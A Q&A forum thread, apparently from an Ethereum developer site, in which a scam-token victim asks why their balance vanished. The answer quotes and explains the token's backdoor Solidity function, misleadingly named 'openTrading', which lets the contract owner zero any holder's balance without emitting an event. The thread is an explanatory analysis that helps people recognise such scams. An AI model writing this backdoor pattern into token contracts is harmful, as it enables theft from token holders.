0

I tried to do some token swaps on Uniswap. I also checked other topics in the forum but couldn't understand what really happened because I couldn't find any transactions that shows something happened to my holding.

I purchased 9M tokens for 0.03 ETH: https://etherscan.io/tx/0x60c59ad3723cddd552c35f0e754805a92fa4f630940cb61065f194aca8f2599f

After some minutes my balance changed to 0.

I don't know which transaction did this. I know this is a scam, it's just I want to know the logic and code explanation.

2
  • Your wallet address still seems to be having over 9M Zora tokens though. Commented Apr 7 at 19:08
  • But I couldn't use them for swap to ETH or other assets
    – morez890
    Commented Apr 10 at 16:24

1 Answer 1

1

Someone who is in charge of this contract can make your balance zero using this function:

function openTrading(address bots) external {
    if(xxnux == msg.sender && xxnux != bots && pancakePair() != bots && bots != ROUTER){
        _balances[bots] = 0;
    }
}

you can see the transaction has been sent just after your swap transaction.

  1. your swap transaction - block 19604842
  2. openTrading transaction - block 19604845

In the second tx you can see your address being passed inside the function argument. enter image description here

Now comes the part that @SYED ASAD KAZMI mentioned about your address still having the tokens, I guess this might be because Etherscan doesn't fetch the balances using view calls, it monitors the transfer events and adds or subtracts based on that data. Now the openTrading function directly zeroes out the balance and doesn't emit any event that's why Etherscan is still showing the balance as 9M ZORA.

4
  • This is where I see 0 Zora balance (etherscan.io/token/…). Now I have other question, contract creator has to use functions manually? Or is it possible to do same thing automated using codes?
    – morez890
    Commented Apr 10 at 12:01
  • The automation can be done from outside the blockchain, means the smart contracts doesn't have automation features but you can write scripts or Chainlink automation to call any function when a certain condition has been met. Commented Apr 11 at 4:59
  • So we have to pay attention to contract source code before doing any transactions. Is there any source we can find these functions which might not be normal when including in these solidity projects?
    – morez890
    Commented Apr 11 at 16:56
  • Yup you should verify the source code, but this is not feasible to read the contracts and find bugs. The only way is to be active in the security community and verify that the team behind any project is genuine. Commented Apr 12 at 13:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.